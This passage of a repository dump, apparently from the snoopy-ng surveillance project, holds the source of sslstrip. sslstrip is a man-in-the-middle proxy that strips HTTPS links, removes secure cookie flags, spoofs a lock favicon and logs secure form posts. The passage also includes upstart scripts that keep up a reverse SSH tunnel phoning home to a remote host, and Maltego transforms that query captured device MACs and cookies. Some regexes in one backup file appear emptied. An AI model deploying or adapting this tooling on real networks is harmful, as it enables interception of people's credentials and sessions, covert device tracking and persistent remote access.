"sslstrip/sslstrip") 6 | 7 | setup (name = 'sslstrip', 8 | version = '0.9', 9 | description = 'A MITM tool that implements Moxie Marlinspike\'s HTTPS stripping attacks.', 10 | author = 'Moxie Marlinspike', 11 | author_email = 'moxie@thoughtcrime.org', 12 | url = 'http://www.thoughtcrime.org/software/sslstrip/', 13 | license = 'GPL', 14 | packages = ["sslstrip"], 15 | package_dir = {'sslstrip' : 'sslstrip/'}, 16 | scripts = ['sslstrip/sslstrip'], 17 | data_files = [('share/sslstrip', ['README', 'COPYING', 'lock.ico'])], 18 | ) 19 | 20 | print "Cleaning up..." 21 | try: 22 | removeall("build/") 23 | os.rmdir("build/") 24 | except: 25 | pass 26 | 27 | try: 28 | os.remove("sslstrip/sslstrip") 29 | except: 30 | pass 31 | 32 | def capture(cmd): 33 | return os.popen(cmd).read().strip() 34 | 35 | def removeall(path): 36 | if not os.path.isdir(path): 37 | return 38 | 39 | files=os.listdir(path) 40 | 41 | for x in files: 42 | fullpath=os.path.join(path, x) 43 | if os.path.isfile(fullpath): 44 | f=os.remove 45 | rmgeneric(fullpath, f) 46 | elif os.path.isdir(fullpath): 47 | removeall(fullpath) 48 | f=os.rmdir 49 | rmgeneric(fullpath, f) 50 | 51 | def rmgeneric(path, __func__): 52 | try: 53 | __func__(path) 54 | except OSError, (errno, strerror): 55 | pass 56 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/sslstrip.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.""" 4 | 5 | __author__ = "Moxie Marlinspike" 6 | __email__ = "moxie@thoughtcrime.org" 7 | __license__= """ 8 | Copyright (c) 2004-2009 Moxie Marlinspike 9 | 10 | This program is free software; you can redistribute it and/or 11 | modify it under the terms of the GNU General Public License as 12 | published by the Free Software Foundation; either version 3 of the 13 | License, or (at your option) any later version. 14 | 15 | This program is distributed in the hope that it will be useful, but 16 | WITHOUT ANY WARRANTY; without even the implied warranty of 17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 18 | General Public License for more details. 19 | 20 | You should have received a copy of the GNU General Public License 21 | along with this program; if not, write to the Free Software 22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 23 | USA 24 | 25 | """ 26 | 27 | from twisted.web import http 28 | from twisted.internet import reactor 29 | 30 | from sslstrip.StrippingProxy import StrippingProxy 31 | from sslstrip.URLMonitor import URLMonitor 32 | from sslstrip.CookieCleaner import CookieCleaner 33 | 34 | import sys, getopt, logging, traceback, string, os 35 | 36 | gVersion = "0.9" 37 | 38 | def usage(): 39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike" 40 | print "Usage: sslstrip \n" 41 | print "Options:" 42 | print "-w , --write= Specify file to log to (optional)." 43 | print "-p , --post Log only SSL POSTs. (default)" 44 | print "-s , --ssl Log all SSL traffic to and from server." 45 | print "-a , --all Log all SSL and HTTP traffic to and from server." 46 | print "-l , --listen= Port to listen on (default 10000)." 47 | print "-f , --favicon Substitute a lock favicon on secure requests." 48 | print "-k , --killsessions Kill sessions in progress." 49 | print "-h Print this help message." 50 | print "" 51 | 52 | def parseOptions(argv): 53 | logFile = 'sslstrip.log' 54 | logLevel = logging.WARNING 55 | listenPort = 10000 56 | spoofFavicon = False 57 | killSessions = False 58 | 59 | try: 60 | opts, args = getopt.getopt(argv, "hw:l:psafk", 61 | ["help", "write=", "post", "ssl", "all", "listen=", 62 | "favicon", "killsessions"]) 63 | 64 | for opt, arg in opts: 65 | if opt in ("-h", "--help"): 66 | usage() 67 | sys.exit() 68 | elif opt in ("-w", "--write"): 69 | logFile = arg 70 | elif opt in ("-p", "--post"): 71 | logLevel = logging.WARNING 72 | elif opt in ("-s", "--ssl"): 73 | logLevel = logging.INFO 74 | elif opt in ("-a", "--all"): 75 | logLevel = logging.DEBUG 76 | elif opt in ("-l", "--listen"): 77 | listenPort = arg 78 | elif opt in ("-f", "--favicon"): 79 | spoofFavicon = True 80 | elif opt in ("-k", "--killsessions"): 81 | killSessions = True 82 | 83 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions) 84 | 85 | except getopt.GetoptError: 86 | usage() 87 | sys.exit(2) 88 | 89 | def main(argv): 90 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv) 91 | 92 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', 93 | filename=logFile, filemode='a') 94 | 95 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) 96 | CookieCleaner.getInstance().setEnabled(killSessions) 97 | 98 | strippingFactory = http.HTTPFactory(timeout=10) 99 | strippingFactory.protocol = StrippingProxy 100 | 101 | reactor.listenTCP(int(listenPort), strippingFactory) 102 | 103 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." 104 | 105 | reactor.run() 106 | 107 | if __name__ == '__main__': 108 | main(sys.argv[1:]) 109 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/sslstrip/CookieCleaner.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | import string 21 | 22 | class CookieCleaner: 23 | '''This class cleans cookies we haven't seen before. The basic idea is to 24 | kill sessions, which isn't entirely straight-forward. Since we want this to 25 | be generalized, there's no way for us to know exactly what cookie we're trying 26 | to kill, which also means we don't know what domain or path it has been set for. 27 | 28 | The rule with cookies is that specific overrides general. So cookies that are 29 | set for mail.foo.com override cookies with the same name that are set for .foo.com, 30 | just as cookies that are set for foo.com/mail override cookies with the same name 31 | that are set for foo.com/ 32 | 33 | The best we can do is guess, so we just try to cover our bases by expiring cookies 34 | in a few different ways. The most obvious thing to do is look for individual cookies 35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often 36 | set by Javascript instead of a Set-Cookie header, and if we block those the site 37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting 38 | based on client,server tuples. The first time a client hits a server, we kill whatever 39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective. 40 | 41 | ''' 42 | 43 | _instance = None 44 | 45 | def getInstance(): 46 | if CookieCleaner._instance == None: 47 | CookieCleaner._instance = CookieCleaner() 48 | 49 | return CookieCleaner._instance 50 | 51 | getInstance = staticmethod(getInstance) 52 | 53 | def __init__(self): 54 | self.cleanedCookies = set(); 55 | self.enabled = False 56 | 57 | def setEnabled(self, enabled): 58 | self.enabled = enabled 59 | 60 | def isClean(self, method, client, host, headers): 61 | if method == "POST": return True 62 | if not self.enabled: return True 63 | if not self.hasCookies(headers): return True 64 | 65 | return (client, self.getDomainFor(host)) in self.cleanedCookies 66 | 67 | def getExpireHeaders(self, method, client, host, headers, path): 68 | domain = self.getDomainFor(host) 69 | self.cleanedCookies.add((client, domain)) 70 | 71 | expireHeaders = [] 72 | 73 | for cookie in headers['cookie'].split(";"): 74 | cookie = cookie.split("=")[0].strip() 75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) 76 | expireHeaders.extend(expireHeadersForCookie) 77 | 78 | return expireHeaders 79 | 80 | def hasCookies(self, headers): 81 | return 'cookie' in headers 82 | 83 | def getDomainFor(self, host): 84 | hostParts = host.split(".") 85 | return "." + hostParts[-2] + "." + hostParts[-1] 86 | 87 | def getExpireCookieStringFor(self, cookie, host, domain, path): 88 | pathList = path.split("/") 89 | expireStrings = list() 90 | 91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + 92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 93 | 94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + 95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 96 | 97 | if len(pathList) > 2: 98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 100 | 101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 103 | 104 | return expireStrings 105 | 106 | 107 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/sslstrip/DnsCache.py: -------------------------------------------------------------------------------- 1 | 2 | class DnsCache: 3 | 4 | ''' 5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. 6 | ''' 7 | 8 | _instance = None 9 | 10 | def __init__(self): 11 | self.cache = {} 12 | 13 | def cacheResolution(self, host, address): 14 | self.cache[host] = address 15 | 16 | def getCachedAddress(self, host): 17 | if host in self.cache: 18 | return self.cache[host] 19 | 20 | return None 21 | 22 | def getInstance(): 23 | if DnsCache._instance == None: 24 | DnsCache._instance = DnsCache() 25 | 26 | return DnsCache._instance 27 | 28 | getInstance = staticmethod(getInstance) 29 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/sslstrip/SSLServerConnection.py~: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string 20 | 21 | from ServerConnection import ServerConnection 22 | 23 | class SSLServerConnection(ServerConnection): 24 | 25 | ''' 26 | For SSL connections to a server, we need to do some additional stripping. First we need 27 | to make note of any relative links, as the server will be expecting those to be requested 28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. 29 | ''' 30 | 31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) 32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) 33 | iconExpression = re.compile(r"", re.IGNORECASE) 34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) 35 | headExpression = re.compile(r"", re.IGNORECASE) 36 | 37 | def __init__(self, command, uri, postData, headers, client): 38 | self.client = client 39 | ServerConnection.__init__(self, command, uri, postData, headers, client) 40 | 41 | def getLogLevel(self): 42 | return logging.INFO 43 | 44 | def getPostPrefix(self): 45 | return "SECURE POST" 46 | 47 | def handleHeader(self, key, value): 48 | if (key.lower() == 'set-cookie'): 49 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value) 50 | 51 | ServerConnection.handleHeader(self, key, value) 52 | 53 | def stripFileFromPath(self, path): 54 | (strippedPath, lastSlash, file) = path.rpartition('/') 55 | return strippedPath 56 | 57 | def buildAbsoluteLink(self, link): 58 | absoluteLink = "" 59 | 60 | if ((not link.startswith('http')) and (not link.startswith('/'))): 61 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link 62 | 63 | logging.debug("Found path-relative link in secure transmission: " + link % (self.client.getClientIP())) 64 | logging.debug("New Absolute path-relative link: " + absoluteLink % (self.clien.getClientIP())) 65 | elif not link.startswith('http'): 66 | absoluteLink = "http://"+self.headers['host']+link 67 | 68 | logging.debug("Found relative link in secure transmission: " + link % (self.client.getClientIP())) 69 | logging.debug("New Absolute link: " + absoluteLink % (self.client.getClientIP())) 70 | 71 | if not absoluteLink == "": 72 | absoluteLink = absoluteLink.replace('&', '&') 73 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); 74 | 75 | def replaceCssLinks(self, data): 76 | iterator = re.finditer(SSLServerConnection.cssExpression, data) 77 | 78 | for match in iterator: 79 | self.buildAbsoluteLink(match.group(1)) 80 | 81 | return data 82 | 83 | def replaceFavicon(self, data): 84 | match = re.search(SSLServerConnection.iconExpression, data) 85 | 86 | if (match != None): 87 | data = re.sub(SSLServerConnection.iconExpression, 88 | "", data) 89 | else: 90 | data = re.sub(SSLServerConnection.headExpression, 91 | "", data) 92 | 93 | return data 94 | 95 | def replaceSecureLinks(self, data): 96 | data = ServerConnection.replaceSecureLinks(self, data) 97 | data = self.replaceCssLinks(data) 98 | 99 | if (self.urlMonitor.isFaviconSpoofing()): 100 | data = self.replaceFavicon(data) 101 | 102 | iterator = re.finditer(SSLServerConnection.linkExpression, data) 103 | 104 | for match in iterator: 105 | self.buildAbsoluteLink(match.group(10)) 106 | 107 | return data 108 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/sslstrip/ServerConnectionFactory.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | from twisted.internet.protocol import ClientFactory 21 | 22 | class ServerConnectionFactory(ClientFactory): 23 | 24 | def __init__(self, command, uri, postData, headers, client): 25 | self.command = command 26 | self.uri = uri 27 | self.postData = postData 28 | self.headers = headers 29 | self.client = client 30 | 31 | def buildProtocol(self, addr): 32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) 33 | 34 | def clientConnectionFailed(self, connector, reason): 35 | logging.debug("Client:%s Server connection failed." % (self.client.getClientIP())) 36 | 37 | destination = connector.getDestination() 38 | 39 | if (destination.port != 443): 40 | logging.debug("Client:%s Retrying via SSL" % (self.client.getClientIP())) 41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) 42 | else: 43 | self.client.finish() 44 | 45 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/sslstrip/StrippingProxy.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from twisted.web.http import HTTPChannel 20 | from ClientRequest import ClientRequest 21 | 22 | class StrippingProxy(HTTPChannel): 23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things. 24 | This is the basic proxy server class, where we get callbacks for GET and POST methods. 25 | We then proxy these out using HTTP or HTTPS depending on what information we have about 26 | the (connection, client_address) tuple in our cache. 27 | ''' 28 | 29 | requestFactory = ClientRequest 30 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/sslstrip/URLMonitor.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import re 20 | 21 | class URLMonitor: 22 | 23 | ''' 24 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the 25 | server is expecting over SSL. It also keeps track of secure favicon urls. 26 | ''' 27 | 28 | # Start the arms race, and end up here... 29 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] 30 | _instance = None 31 | 32 | def __init__(self): 33 | self.strippedURLs = set() 34 | self.strippedURLPorts = {} 35 | self.faviconReplacement = False 36 | 37 | def isSecureLink(self, client, url): 38 | for expression in URLMonitor.javascriptTrickery: 39 | if (re.match(expression, url)): 40 | return True 41 | 42 | return (client,url) in self.strippedURLs 43 | 44 | def getSecurePort(self, client, url): 45 | if (client,url) in self.strippedURLs: 46 | return self.strippedURLPorts[(client,url)] 47 | else: 48 | return 443 49 | 50 | def addSecureLink(self, client, url): 51 | methodIndex = url.find("//") + 2 52 | method = url[0:methodIndex] 53 | 54 | pathIndex = url.find("/", methodIndex) 55 | host = url[methodIndex:pathIndex] 56 | path = url[pathIndex:] 57 | 58 | port = 443 59 | portIndex = host.find(":") 60 | 61 | if (portIndex != -1): 62 | host = host[0:portIndex] 63 | port = host[portIndex+1:] 64 | if len(port) == 0: 65 | port = 443 66 | 67 | url = method + host + path 68 | 69 | self.strippedURLs.add((client, url)) 70 | self.strippedURLPorts[(client, url)] = int(port) 71 | 72 | def setFaviconSpoofing(self, faviconSpoofing): 73 | self.faviconSpoofing = faviconSpoofing 74 | 75 | def isFaviconSpoofing(self): 76 | return self.faviconSpoofing 77 | 78 | def isSecureFavicon(self, client, url): 79 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) 80 | 81 | def getInstance(): 82 | if URLMonitor._instance == None: 83 | URLMonitor._instance = URLMonitor() 84 | 85 | return URLMonitor._instance 86 | 87 | getInstance = staticmethod(getInstance) 88 | -------------------------------------------------------------------------------- /setup/sslstripSnoopy/sslstrip/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/setup/sslstripSnoopy/sslstrip/__init__.py -------------------------------------------------------------------------------- /setup/sslstripSnoopy/sslstrip1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.""" 4 | 5 | __author__ = "Moxie Marlinspike" 6 | __email__ = "moxie@thoughtcrime.org" 7 | __license__= """ 8 | Copyright (c) 2004-2009 Moxie Marlinspike 9 | 10 | This program is free software; you can redistribute it and/or 11 | modify it under the terms of the GNU General Public License as 12 | published by the Free Software Foundation; either version 3 of the 13 | License, or (at your option) any later version. 14 | 15 | This program is distributed in the hope that it will be useful, but 16 | WITHOUT ANY WARRANTY; without even the implied warranty of 17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 18 | General Public License for more details. 19 | 20 | You should have received a copy of the GNU General Public License 21 | along with this program; if not, write to the Free Software 22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 23 | USA 24 | 25 | """ 26 | 27 | from twisted.web import http 28 | from twisted.internet import reactor 29 | 30 | from sslstrip.StrippingProxy import StrippingProxy 31 | from sslstrip.URLMonitor import URLMonitor 32 | from sslstrip.CookieCleaner import CookieCleaner 33 | 34 | import sys, getopt, logging, traceback, string, os 35 | 36 | gVersion = "0.9" 37 | 38 | def usage(): 39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike" 40 | print "Usage: sslstrip \n" 41 | print "Options:" 42 | print "-w , --write= Specify file to log to (optional)." 43 | print "-p , --post Log only SSL POSTs. (default)" 44 | print "-s , --ssl Log all SSL traffic to and from server." 45 | print "-a , --all Log all SSL and HTTP traffic to and from server." 46 | print "-l , --listen= Port to listen on (default 10000)." 47 | print "-f , --favicon Substitute a lock favicon on secure requests." 48 | print "-k , --killsessions Kill sessions in progress." 49 | print "-h Print this help message." 50 | print "" 51 | 52 | def parseOptions(argv): 53 | logFile = 'sslstrip.log' 54 | logLevel = logging.WARNING 55 | listenPort = 10000 56 | spoofFavicon = False 57 | killSessions = False 58 | 59 | try: 60 | opts, args = getopt.getopt(argv, "hw:l:psafk", 61 | ["help", "write=", "post", "ssl", "all", "listen=", 62 | "favicon", "killsessions"]) 63 | 64 | for opt, arg in opts: 65 | if opt in ("-h", "--help"): 66 | usage() 67 | sys.exit() 68 | elif opt in ("-w", "--write"): 69 | logFile = arg 70 | elif opt in ("-p", "--post"): 71 | logLevel = logging.WARNING 72 | elif opt in ("-s", "--ssl"): 73 | logLevel = logging.INFO 74 | elif opt in ("-a", "--all"): 75 | logLevel = logging.DEBUG 76 | elif opt in ("-l", "--listen"): 77 | listenPort = arg 78 | elif opt in ("-f", "--favicon"): 79 | spoofFavicon = True 80 | elif opt in ("-k", "--killsessions"): 81 | killSessions = True 82 | 83 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions) 84 | 85 | except getopt.GetoptError: 86 | usage() 87 | sys.exit(2) 88 | 89 | def main(argv): 90 | print argv 91 | print type(argv) 92 | 93 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv) 94 | 95 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', 96 | filename=logFile, filemode='a') 97 | 98 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) 99 | CookieCleaner.getInstance().setEnabled(killSessions) 100 | 101 | strippingFactory = http.HTTPFactory(timeout=10) 102 | strippingFactory.protocol = StrippingProxy 103 | 104 | reactor.listenTCP(int(listenPort), strippingFactory) 105 | 106 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." 107 | 108 | reactor.run() 109 | 110 | if __name__ == '__main__': 111 | main(sys.argv[1:]) 112 | -------------------------------------------------------------------------------- /setup/upstarts/README.txt: -------------------------------------------------------------------------------- 1 | These upstart script should be placed in /etc/init/ . Ensure you change the SETTINGS file for your needs. 2 | -------------------------------------------------------------------------------- /setup/upstarts/SETTINGS: -------------------------------------------------------------------------------- 1 | drone= 2 | sync_server=http:// 3 | key= 4 | location= 5 | 6 | ssh_user=phonehome 7 | ssh_host= 8 | ssh_port=22 9 | remote_base_port=3300 10 | remote_port=$(($remote_base_port + $drone_num)) 11 | monitor_port=$(($remote_port + 1000)) 12 | ssh_keyfile=/home/ubuntu/.ssh/id_rsa 13 | 14 | APN="payandgo.o2.co.uk" #For 3G connectivity with Sakis. You may have to fiddle with sakis.conf for your needs 15 | -------------------------------------------------------------------------------- /setup/upstarts/ntp_update.conf: -------------------------------------------------------------------------------- 1 | #Part of the snoopy_ng project 2 | 3 | author "Glenn Wilkinson " 4 | description "Keep time correctly set." 5 | 6 | start on runlevel [2345] 7 | stop on runlevel [!2345] 8 | respawn 9 | 10 | script 11 | server="ntp.ubuntu.com" 12 | while [ 1 ]; 13 | do 14 | ntpdate ntp.ubuntu.com 2>&1 | logger -t sng_ntp 15 | sleep 60 16 | done 17 | 18 | end script 19 | -------------------------------------------------------------------------------- /setup/upstarts/phone_home.conf: -------------------------------------------------------------------------------- 1 | # SSH Phone Home 2 | # Part of snoopy_ng 3 | 4 | author "Glenn Wilkinson " 5 | description "SSH phone home reverse tunnel service" 6 | 7 | start on filesystem or runlevel [2345] 8 | stop on runlevel [!2345] 9 | respawn 10 | 11 | script 12 | . /etc/init/SETTINGS 13 | 14 | echo "Attempting to initiate auto SSH tunnel ($ssh_user@$ssh_host, with remote tunnel listen port of $remote_port)" | logger -t sng_phonehome 15 | autossh -M $monitor_port -N -R $remote_port:localhost:22 $ssh_user@$ssh_host -i $ssh_keyfile -o ServerAliveInterval=10 -o ServerAliveCountMax=1 16 | echo "autossh died" | logger -t sng_phonehome 17 | sleep 20 18 | 19 | end script 20 | -------------------------------------------------------------------------------- /setup/upstarts/sakis.conf: -------------------------------------------------------------------------------- 1 | # Part of snoopy_ng 2 | 3 | author "Glenn Wilkinson " 4 | description "Maintain 3G Connection with Sakis" 5 | 6 | start on runlevel [2345] 7 | stop on runlevel [!2345] 8 | respawn 9 | 10 | script 11 | . /etc/init/SETTINGS 12 | CHECK_CONN=300 #Seconds 13 | while [ 1 ]; 14 | do 15 | sudo sakis3g connect APN=$APN USBINTERFACE="0" | logger -t sng_sakis_upstart 16 | sleep $CHECK_CONN 17 | done 18 | 19 | end script 20 | -------------------------------------------------------------------------------- /setup/upstarts/snoopy.conf: -------------------------------------------------------------------------------- 1 | # Part of snoopy_ng 2 | 3 | description "Snoopy" 4 | author "Glenn Wilkinson " 5 | description "Start snoopy_ng" 6 | 7 | start on runlevel [2345] 8 | stop on runlevel [!2345] 9 | respawn 10 | 11 | script 12 | . /etc/init/SETTINGS 13 | timeout 20 bash -c "until echo 1 | nc www.google.com 80 &>1 /dev/null; do sleep 2; done" 14 | if [ $? -ne "0" ]; then echo "No internet connection, shall continue anyway." | logger -t sng_snoopy ; fi 15 | snoopy -m wifi:mon=True -l $location -d $drone 2>&1 | logger -t sng_snoopy #Local copy 16 | #snoopy -m wifi:mon=True -l $location -d $drone -k $key -s $sync_server 2>&1 | logger -t sng_snoopy #Remote copy 17 | end script 18 | -------------------------------------------------------------------------------- /transforms/MaltegoTransform.py.diff: -------------------------------------------------------------------------------- 1 | @@ -99,11 +99,10 @@ 2 | if (self.value is not None): 3 | return self.value; 4 | 5 | - def getVar(self,varName,default=None): 6 | - if (varName in self.values.keys()) and (self.values[varName] is not None): 7 | - return self.values[varName]; 8 | - else: 9 | - return default 10 | + def getVar(self,varName): 11 | + if (varName in self.values.keys()): 12 | + if (self.values[varName] is not None): 13 | + return self.values[varName]; 14 | 15 | def addEntity(self,enType,enValue): 16 | me = MaltegoEntity(enType,enValue); 17 | @@ -163,11 +162,9 @@ 18 | 19 | 20 | def sanitise(value): 21 | - if value is None: 22 | - return "" 23 | replace_these = ["&",">","<"]; 24 | replace_with = ["&",">","<"]; 25 | tempvalue = value; 26 | for i in range(0,len(replace_these)): 27 | tempvalue = tempvalue.replace(replace_these[i],replace_with[i]); 28 | - return tempvalue; 29 | + return tempvalue; 30 | -------------------------------------------------------------------------------- /transforms/README.txt: -------------------------------------------------------------------------------- 1 | Three transforms: 2 | 3 | 1. Local 4 | 5 | 2. TDS 6 | 7 | 3. Custom Web 8 | -------------------------------------------------------------------------------- /transforms/db_path.conf: -------------------------------------------------------------------------------- 1 | sqlite:////root/snoopy-ng/snoopy.db 2 | -------------------------------------------------------------------------------- /transforms/fetchClients.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com_ 4 | # snoopy_ng // 2013 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_ 13 | from transformCommon import * 14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 15 | 16 | def main(): 17 | # print "Content-type: xml\n\n"; 18 | # MaltegoXML_in = sys.stdin.read() 19 | # logging.debug(MaltegoXML_in) 20 | # if MaltegoXML_in <> '': 21 | # m = MaltegoMsg(MaltegoXML_in) 22 | 23 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon. 24 | #db.echo=True 25 | 26 | #Need to implement outer join at some point: 27 | # s=select([proxs.c.mac]).outerjoin(vends, proxs.c.mac == vends.c.mac) #Outer join 28 | 29 | sl = select([leases.c.mac, leases.c.hostname]).distinct() 30 | lease_list = dict ( db.execute(sl).fetchall() ) 31 | 32 | #filters.append(proxs.c.mac == vends.c.mac) # Replaced with JOIN 33 | j = proxs.outerjoin(vends, proxs.c.mac == vends.c.mac) 34 | s = select([proxs.c.mac,vends.c.vendor, vends.c.vendorLong], and_(*filters)).select_from(j).distinct() 35 | logging.debug(s) 36 | #s = select([proxs.c.mac,vends.c.vendor, vends.c.vendorLong], and_(*filters)) 37 | if ssid: 38 | nfilters=[] 39 | nfilters.append(ssids.c.ssid == ssid) 40 | nfilters.append(ssids.c.mac == vends.c.mac) 41 | s = select([ssids.c.mac,vends.c.vendor, vends.c.vendorLong], and_(*nfilters)) 42 | 43 | #logging.debug(s) 44 | #s = select([proxs.c.mac,vends.c.vendor, vends.c.vendorLong], and_(proxs.c.mac == vends.c.mac, proxs.c.num_probes>1 ) ).distinct() 45 | 46 | cwdF = [cookies.c.run_id == sess.c.run_id] 47 | cw = select([cookies.c.client_mac], and_(*cwdF)) 48 | logging.debug(cw) 49 | 50 | r = db.execute(s) 51 | results = r.fetchall() 52 | TRX = MaltegoTransform() 53 | for 